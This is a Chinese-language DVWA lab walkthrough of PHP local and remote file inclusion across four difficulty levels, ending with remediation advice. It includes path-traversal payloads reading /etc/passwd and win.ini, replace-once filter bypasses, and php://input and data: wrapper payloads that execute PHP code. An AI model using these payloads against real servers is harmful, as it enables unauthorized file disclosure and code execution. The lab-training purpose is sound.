文件包含是指应用程序加载的文件(本地/远程)可以由用户提交的数据控制,从而导致攻击者控制恶意文件在服务器上执行.
对于php来说,常见的文件包含函数有如下:
require:找不到被包含的文件,报错,并且停止运行脚本。 include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
文件包含特征
?page=a.php
?home=b.html
?file=content
检测方法
?file=…/…/…/…/etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/…/…/…/…/dir/file.txt
报错的解决方法:
新建一个php文件,展示php的版本信息,找到php.ini文件的存储位置
修改php.ini配置文件开启文件包含功能,allow_url_include = on
Low
1、查看服务器端源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到没有对page参数做任何过滤
2、查看客户端源代码
3、构造payload
-绝对路径:c:\window\win.ini
该文件为重要的系统文件。默认保存在C:\Windows\win.ini,一般大小不超过100KB我们可以使用记事本轻松的打开编辑这个文件,其作用就是用于保存系统配置文件
通过page参数传递服务器本地文件,进行LFT攻击
文件包含时,不管包含的文件是什么类型,都会优先尝试当作php文件执行,如果文件内容有php代码,则会执行php代码并返回代码执行的结果,如果文件内容没有php代码,则把文件内容打印出来
相对路径:…/…/…/…/…/…/…/…/…/…/etc/password
./ 当前目录。
…/ 父级目录。
/ 根目录。
是相对于dvwa-master/vulnerabilities/fi的文件位置
使用php封装协议读取和写入php文件
远程文件包含
1.通过http协议包含本地服务器上的文件
2.通过http协议包含远程服务器上的文件
。。。。
Medium
1、查看服务器端源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
清除 page 参数中的 http://、https://、…/、…\字符串, 可以使用 php://input,php://filter, data url schema 等进行注入,也可使用替换逻辑漏洞(只替换一次)将被替换字符串迭代使用,例如 hthttp://tp://被替换后为 http://
2、攻击
本地文件包含攻击
….//….//….//….//….//….//….//….//….//….//etc/password
…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./etc/password
远程文件包含攻击
使用绝对路径绕过
使用file协议绕过
中文意思:本地文件传输协议
什么是File:File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。
如何使用File:要使用File协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或浏览器地址栏中输入:file:///f:/flash/1.swf回车。
使用php封装协议读取和写入php文件
php://input <?php phpinfo();
不知咋滴出现warning…
data:text/plain;charset=utf-8,<?php phpinfo();
High
1、查看服务器端源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch():
根据指定的模式来匹配文件名或字符串
2、攻击
对提交参数进行检查,只允许 include.php 以及 file 开头的文件被包含,只能包含本地file 开头的文件或配合文件上传漏洞组合进行利用
Impossible
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
修复建议
a) 使用白名单列表限制被包含文件
b) 关闭远程文件包含功能
c) 避免 web 服务器启动用户权限过高
部分内容参考:
https://www.cnblogs.com/yuzly/p/10799486.html